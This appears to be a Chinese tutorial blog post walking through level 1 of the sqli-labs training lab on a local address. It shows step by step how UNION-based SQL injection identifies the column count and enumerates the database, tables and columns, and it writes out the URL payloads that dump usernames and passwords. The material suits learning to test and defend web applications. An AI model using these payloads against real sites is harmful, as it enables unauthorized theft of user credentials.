环境搭建
具体搭建请自行百度
sqli-labs第一关
在后面输入?id=1
可以看到返回的页面出现了帐户和密码,当然,你会发现改为id=2、id=3会出现不同的帐户和密码,虽然这就是我们最终要拿到的数据,但是我们应该通过SQL注入的方式来得到它。
具体流程:
- 先确定是字符型注入还是整型注入
像这种?id=1的,后台会将id这个变量的值接受并组合成数据库查询语句,比如这里可能会这样"select * from 表名 where id=1"如果是这样的格式,那么就说明是整型;如果是select * from 表名 where id='1',那么就是字符型。当然,一般情况下我们是看不到源代码的,但是这里是学习,我们就先对照源码来看看到底是怎么处理的,关键代码:"SELECT* FROM users WHERE id='$id' LIMIT 0,1"可以看到这是字符型注入。 - 猜字段数
关键语法:order by
在变量id后面加上 order by 1
因为是字符型注入,那么"http://192.168.155.128/sqli-l... order by 1"被后台接受后,会组合成SELECT * FROM users WHERE id='1 order by 1' LIMIT 0,1,语法错误,我们应该构造成"SELECT * FROM users WHERE id='1' order by 1#' LIMIT 0,1" 所以应该在id=后面加上1' order by 1#,也就是"http://192.168.155.128/sqli-l...' order by 1#"
回车后会发现报错了,这是因为我们没有对url中的#
号进行url编码,使用hackerbar插件编码后"http://192.168.155.128/sqli-l...' order by 1%23",接下来就是慢慢试出它的字段数,最后会发现order by 3正常,order by 4错误,说明一共是3列。 - 通过联合查询查出当前用户,数据库名等信息
注意:此方法只是用户mysql 5.0以上版本
将url改成"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,3%23"回车后发现并没有显示出数字,这是因为php中的mysql_fetch_array函数,这时候只需要把union左边的等式改为假就行,这里我把id=1改为id=-1,可以看到数字出来了
2和3这两个数字都可以用,我们这里就使用3吧。一个一个显示太麻烦了,这里我们可以用数据库的连接函数concat_ws,hackbar插件有现成的,使用后,url变成了"http://192.168.155.128/sqli-l...'UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())%23"
可以看到显示出了数据库名security。 - 查询数据库中的表
有了数据库名,就可以通过information_schema.tables得到表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,table_name from information_schema.tables where table_schema='security'%23" 在最后加上limit 0,1逐个猜出表名。最终得到users,当然,猜出来的其他表名也可以把里面的数据爆出来,这里我们只需要users里的数据。 - 通过表名得到列名
通过information_schema.columns得到表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23",然后逐个得到列名分别是id,username,password - 枚举用户名和密码
"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),id,username,password) from users limit 0,1%23"
总结
在mysql5.0以上版本中,可以通过information_schema
获取到当前数据库名,再通过数据库名拿到表名,再通过表名拿到列名,最后得到想要的数据。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。